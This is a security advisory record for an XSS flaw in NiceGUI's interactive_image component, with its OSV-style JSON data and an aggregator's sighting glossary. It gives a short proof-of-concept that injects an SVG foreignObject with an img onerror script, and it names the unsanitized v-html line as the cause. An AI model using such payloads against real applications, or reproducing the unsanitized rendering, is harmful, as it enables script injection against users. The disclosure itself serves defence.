PYSEC-2026-1696

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Summary

A Cross-Site Scripting (XSS) vulnerability exists in the ui.interactive_image component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag.

Details

The vulnerability is located in nicegui/elements/interactive_image.js. The component uses the following code to render content:

<g v-html="content"></g>

Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a tag containing malicious scripts, bypassing typical image restrictions.

PoC

from nicegui import ui

@ui.page('/')
def main():
    ui.label('NiceGUI SVG XSS PoC')

    # Standard image loading
    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')

    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        '<foreignObject>'
        '<body xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">'
        '<img src=x onerror=alert("XSS-SVG")>'
        '</body>'
        '</foreignObject>'
    )

ui.run()

Impact

  • Type: Reflected / Stored XSS (depending on data source)

  • Severity: Moderate

  • Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Impacted products
Name purl
nicegui pkg:pypi/nicegui
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui",
        "purl": "pkg:pypi/nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
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    }
  ],
  "aliases": [
    "CVE-2025-66470",
    "GHSA-2m4f-cg75-76w2"
  ],
  "details": "### Summary\nA Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue\u0027s `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `\u003cforeignObject\u003e` tag.\n\n### Details\nThe vulnerability is located in `nicegui/elements/interactive_image.js`.\nThe component uses the following code to render content:\n```javascript\n\u003cg v-html=\"content\"\u003e\u003c/g\u003e\n```\nVue\u0027s v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a \u003cforeignObject\u003e tag containing malicious scripts, bypassing typical image restrictions.\n\n### PoC\n```python\nfrom nicegui import ui\n\n@ui.page(\u0027/\u0027)\ndef main():\n    ui.label(\u0027NiceGUI SVG XSS PoC\u0027)\n    \n    # Standard image loading\n    img = ui.interactive_image(\u0027[https://picsum.photos/640/360](https://picsum.photos/640/360)\u0027)\n    \n    # Payload: Embeds raw HTML execution inside SVG\n    # This executes immediately when the image component is rendered\n    img.content = (\n        \u0027\u003cforeignObject\u003e\u0027\n        \u0027\u003cbody xmlns=\"[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)\"\u003e\u0027\n        \u0027\u003cimg src=x onerror=alert(\"XSS-SVG\")\u003e\u0027\n        \u0027\u003c/body\u003e\u0027\n        \u0027\u003c/foreignObject\u003e\u0027\n    )\n\nui.run()\n```\n\n### Impact\n- Type: Reflected / Stored XSS (depending on data source)\n\n- Severity: Moderate\n\n- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.",
  "id": "PYSEC-2026-1696",
  "modified": "2026-07-07T17:24:48.962749Z",
  "published": "2026-07-07T16:03:12.469922Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/nicegui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2m4f-cg75-76w2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.